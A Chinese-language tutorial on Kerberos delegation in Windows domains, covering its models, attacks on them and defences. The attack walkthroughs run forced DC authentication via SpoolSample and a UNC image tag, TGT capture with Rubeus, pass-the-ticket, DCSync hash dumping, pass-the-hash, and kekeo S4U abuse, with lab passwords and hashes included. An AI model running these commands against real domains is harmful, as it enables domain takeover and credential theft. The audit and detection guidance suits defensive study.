在Windows域环境中,委派(Delegation)是一种重要的安全机制,它允许服务账户代表用户账户执行特定操作。这种机制类似于现实生活中的"授权代理"——就像房东委托中介公司全权处理房屋出租事宜一样,域用户可以将其权限委托给服务账户,使服务账户能够以用户身份访问其他资源。
Kerberos协议是Windows域环境中实现委派的核心技术基础。当用户访问某个服务时,Kerberos协议会颁发两种重要的票据:
在标准Kerberos流程中,用户首先向域控制器(DC)认证并获取TGT,然后使用TGT向DC请求特定服务的ST。这种设计原本是为了避免用户凭证在网络中传输,但在委派场景下,为了满足服务间调用的需求,微软对标准Kerberos协议进行了扩展。
非约束委派是最早出现的委派形式,也是最不安全的一种。它的工作流程如下:
这种机制的危险性显而易见——一旦攻击者控制了配置了非约束委派的服务,就能获取到访问该服务的用户的TGT,进而完全冒充该用户。
重要提示:在Windows Server 2003之后,微软不再推荐使用非约束委派,但为了向后兼容,该功能仍然保留。
识别域内配置了非约束委派的账户是攻击者的首要步骤。我们可以使用AdFind工具进行查询:
bash复制# 查询配置了非约束委派的服务账户
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
# 查询配置了非约束委派的计算机账户
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询结果中的userAccountControl属性值524288对应的是TRUSTED_FOR_DELEGATION标志位,表示该账户配置了非约束委派。
为了弥补非约束委派的安全缺陷,微软在Windows Server 2003中引入了约束委派。约束委派通过两个Kerberos扩展协议实现:
约束委派的关键改进在于限制了服务账户能够代表用户访问的服务列表。即使攻击者控制了配置约束委派的服务账户,也只能访问管理员预先配置的特定服务。
识别约束委派配置同样可以使用AdFind工具:
bash复制# 查询配置约束委派的计算机账户
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
# 查询配置约束委派的服务账户
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
这里的msds-allowedtodelegateto属性存储了该账户被允许委派访问的服务列表。
基于资源的约束委派(RBCD)是Windows Server 2012引入的新模型,它改变了委派权限的管理方式:
这种改变使资源所有者能够直接控制谁可以委派访问它,而不需要域管理员参与。从安全角度看,RBCD提供了更细粒度的访问控制。
要成功利用非约束委派漏洞,需要满足以下条件:
步骤1:诱导域控连接
我们可以使用多种方法诱导域控连接到我们控制的主机:
bash复制# 方法1:主动建立连接(需域管凭证)
net use \\WEBSERVER
# 方法2:通过网页诱导(无需凭证)
# 创建一个包含以下内容的HTML文件
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.31\2">
</body>
</html>
步骤2:捕获TGT票据
使用Rubeus工具监听并捕获来自域控的TGT:
bash复制# 以管理员权限运行监听
Rubeus.exe monitor /interval:2 /filteruser:dc$ > hash.txt
# 在另一终端触发Spooler服务
SpoolSample.exe dc web2016
步骤3:票据传递攻击
将捕获的票据导入当前会话:
bash复制# 使用Rubeus导入票据
Rubeus.exe ptt /ticket:[Base64编码的票据]
# 或者使用mimikatz导入
mimikatz "kerberos::ptt [0;fece8]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi"
步骤4:域控权限提升
成功导入票据后,就可以以域管理员身份访问域控资源:
bash复制# 访问域控共享
dir \\owa2010cn-god\c$
# 使用DCSync导出域内所有用户hash
mimikatz "lsadump::dcsync /domain:xiaodi8.com /all /csv"
# 使用WMI进行横向移动
python wmiexec.py -hashes :0b17b318cd59bb4e90f5a528437481a9 xiaodi8.com/administrator@dc.xiaodi8.com -no-pass
约束委派攻击需要满足:
步骤1:获取服务账户TGT
使用kekeo工具获取服务账户的TGT:
bash复制# 使用明文密码
kekeo "tgt::ask /user:webadmin /domain:god.org /password:admin!@#45 /ticket:administrator.kirbi" "exit"
# 使用NTLM hash
kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"
步骤2:请求域管ST
使用S4U2Self和S4U2Proxy扩展协议获取域管理员的ST:
bash复制# 请求访问CIFS服务的ST
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
# 如果使用FQDN
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"
步骤3:票据传递攻击
将获取的ST导入当前会话:
bash复制mimikatz "kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi"
步骤4:访问域控资源
bash复制dir \\owa2010cn-god.god.org\c$
全面审计:定期检查域内所有配置非约束委派的账户
bash复制# 查找非约束委派账户
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-ADUser -Filter {TrustedForDelegation -eq $true}
最小权限原则:除非绝对必要,否则不要配置非约束委派
替代方案:使用约束委派或基于资源的约束委派代替
严格服务限制:只允许委派访问确实需要的服务
定期审查:检查msDS-AllowedToDelegateTo属性,确保没有不必要的服务
特权账户保护:不要将高权限账户配置为可委派
资源所有者控制:让资源所有者管理msDS-AllowedToActOnBehalfOfOtherIdentity属性
明确允许列表:只添加确实需要委派访问的客户端
结合其他安全措施:如启用Kerberos armoring、配置服务主体名称(SPN)验证等
非约束委派攻击检测:
约束委派攻击检测:
隔离受影响系统:立即隔离被攻击的主机和服务账户
重置凭据:更改所有可能泄露的账户密码和Kerberos密钥
票据撤销:使用klist purge命令清除所有缓存的Kerberos票据
日志分析:深入分析域控制器和安全日志,确定攻击路径
加固配置:根据发现的问题调整委派配置和安全策略
在实际防御工作中,建议结合SIEM系统对Kerberos事件进行监控,并建立针对异常票据请求的告警机制。同时,定期进行红队演练,主动发现和修复潜在的委派安全问题。